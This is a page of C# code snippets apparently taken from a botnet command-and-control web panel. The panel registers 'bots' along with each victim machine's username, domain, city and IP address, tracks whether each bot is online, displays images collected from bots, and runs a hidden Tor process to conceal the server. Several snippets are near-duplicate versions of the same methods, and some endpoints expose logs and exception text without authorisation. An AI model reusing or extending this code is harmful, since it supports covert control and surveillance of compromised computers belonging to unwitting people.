Exemple #1
0
 public IActionResult DeleteLog()
 {
     if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User")
     {
         return(RedirectToAction(nameof(HomeController.Index), "Home"));
     }
     ServerFileManager.FileWriter(GetPathes.Get_LogPath() + @"\Log.txt", "");
     return(Content("Ok"));
 }
Exemple #2
0
        private static void proccessstart()
        {
            Console.WriteLine("Starting tor...");
            var Process = new Process();

            Process.StartInfo.FileName               = GetPathes.get_LocalPath() + @"\Tor\tor.exe";
            Process.StartInfo.Arguments              = "-f " + GetPathes.get_LocalPath() + @"\Tor\Data\Tor\torrc";
            Process.StartInfo.UseShellExecute        = false;
            Process.StartInfo.RedirectStandardOutput = true;
            Process.StartInfo.CreateNoWindow         = true;
            Process.StartInfo.WorkingDirectory       = GetPathes.get_LocalPath() + @"\Tor";
            Process.Start();
            Process.PriorityClass = ProcessPriorityClass.BelowNormal;
        }
Exemple #3
0
 public IActionResult Settings(appsettingsModel model)
 {
     if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin")
     {
         var json = JsonConvert.SerializeObject(model);
         ServerFileManager.FileWriter(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json", json);
         ViewData["Result"] = "ok";
         return(View(model));
     }
     else
     {
         return(RedirectToAction(nameof(HomeController.Index), "Home"));
     }
 }
        public async Task <JsonResult> RegbotAsync([FromBody] BotRegisterModel model)
        {
            if (!ModelState.IsValid)
            {
                return(Json(new { success = false, result = "Invalid Model" }));
            }

            appsettingsModel JsonString = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());

            if (JsonString.Stump.KeyCertified != model.KeyCertified)
            {
                return(Json(new { success = false, result = "Key does not match" }));
            }
            var Keyquery = new GetBotByKeyUniqueQuery {
                KeyUnique = model.KeyUnique
            };
            var botresult = _mediator.Send(Keyquery);

            if (botresult.Result == null)
            {
                var command = new RegbotCommand
                {
                    UserName        = model.UserName,
                    Domain          = model.Domain,
                    City            = model.City,
                    CountryCode     = model.CountryCode,
                    KeyUnique       = model.KeyUnique,
                    LastIPAddress   = model.LastIPAddress,
                    CreationDateUTC = DateTime.Now,
                    LastLoggedInUTC = DateTime.Now
                };
                var result = await _mediator.Send(command);

                if (result.Suceeded)
                {
                    return(Json(new { success = true, result = "Work" }));
                }
            }
            else
            {
                var BotUpdateCommand = new UpdateBotStatusCommand
                {
                    id = botresult.Result.Id
                };
                var result = await _mediator.Send(BotUpdateCommand);

                return(Json(new { success = true, result = "Updated" }));
            }
            return(Json(new { success = false, result = "Registration not success" }));
        }
        public async Task <IActionResult> Bot(int id)
        {
            try
            {
                var getImagesStatus = "";
#if (!DEBUG)
                // Release
                appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel());
#else
                // Debug
                appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());
#endif
                GetImgJsonModel ImagesJsonModel;
                var             query = new GetBotByIdQuery
                {
                    Id = id
                };
                var bot = await _mediator.Send(query);

                if (_env.WebRootFileProvider.GetDirectoryContents("img/Bots/" + bot.UserName + "_" + id).Exists)
                {
                    var           fullpath = _env.WebRootFileProvider.GetFileInfo("img/Bots")?.PhysicalPath + "/" + bot.UserName + "_" + id;
                    var           files    = Directory.GetFiles(fullpath);//Wait to test
                    List <string> images   = new List <string>(files);
                    ImagesJsonModel = new GetImgJsonModel()
                    {
                        Images = images
                    };
                    getImagesStatus = "local";
                }
                else
                {
                    try
                    {
                        ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel());
                        if (ImagesJsonModel.Images.Count == 0)
                        {
                            getImagesStatus = "nothing";
                        }
                        else
                        {
                            getImagesStatus = "network";
                        }
                    }
                    catch
                    {
                        ImagesJsonModel = JsonConvert.DeserializeAnonymousType("{'Images':[]}", new GetImgJsonModel());
                        getImagesStatus = "nothing";
                    };
                }
                DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5);
                var      status     = _localizer["Offline"];
                if (bot.LastLoggedInUTC >= DateNowUTC)
                {
                    status = _localizer["Online"];
                }
                var botInquiryDeatils = new BotDeatilsInquiryModel
                {
                    Name            = bot.UserName,
                    Domain          = bot.Domain,
                    LastIPAddress   = bot.LastIPAddress,
                    LastLoggedInUTC = bot.LastLoggedInUTC,
                    Status          = status,
                    KeyCertified    = bot.KeyCertified,
                    KeyUnique       = appsettings.Stump.KeyCertified
                };
                var botmodel = new BotModel
                {
                    newImagesJsonModel        = ImagesJsonModel,
                    newBotDeatilsInquiryModel = botInquiryDeatils,
                    getImagesStatus           = getImagesStatus
                };
                ViewData["ID"] = id;
                return(View(botmodel));
            }
            catch (Exception e)
            {
                return(Content(e.ToString()));
            };
        }
Exemple #6
0
 public IActionResult Settings()
 {
     if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin")
     {
         appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());
         return(View(appsettings));
     }
     else
     {
         return(RedirectToAction(nameof(HomeController.Index), "Home"));
     }
 }
Exemple #7
0
        public IActionResult Logger()
        {
            var log = ServerFileManager.FileReader(GetPathes.Get_LogPath() + @"\Log.txt");

            return(Content(log));
        }
Exemple #8
0
        public static void Main(string[] args)
        {
            appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());

            if (appsettings.Tor.RunItStart)
            {
                Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor));
                thr.Start();
            }
            CreateWebHostBuilder(args).Build().Run();
        }
        public async Task <IActionResult> Bot(int id)
        {
            try
            {
                appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());
                var query = new GetBotByIdQuery
                {
                    Id = id
                };
                GetImgJsonModel ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel());
                var             bot             = await _mediator.Send(query);

                DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5);
                var      status     = _localizer["Offline"];
                if (bot.LastLoggedInUTC >= DateNowUTC)
                {
                    status = _localizer["Online"];
                }
                var botInquiryDeatils = new BotDeatilsInquiryModel
                {
                    Name            = bot.UserName,
                    Domain          = bot.Domain,
                    LastIPAddress   = bot.LastIPAddress,
                    LastLoggedInUTC = bot.LastLoggedInUTC,
                    Status          = status,
                    KeyCertified    = bot.KeyCertified,
                    KeyUnique       = appsettings.Stump.KeyCertified
                };
                var botmodel = new BotModel
                {
                    newImagesJsonModel        = ImagesJsonModel,
                    newBotDeatilsInquiryModel = botInquiryDeatils
                };
                return(View(botmodel));
            }
            catch
            {
                return(RedirectToAction(nameof(List)));
            };
        }
Exemple #10
0
        public static void Main(string[] args)
        {
            Console.WriteLine("Starting");
            try
            {
#if (!DEBUG)
                // Release
                appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel());
#else
                // Debug
                appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel());
#endif
                if (appsettings.Tor.RunItStart)
                {
                    Thread thr   = new Thread(new ThreadStart(ConfigTor.StartTor));
                    Thread thrCD = new Thread(new ThreadStart(CloseDetector.Detecter));
                    thr.Start();
                    thrCD.Start();
                }
            }
            catch (Exception e)
            {
                Console.Write(e.ToString());
            };
            CreateWebHostBuilder(args).Build().Run();
        }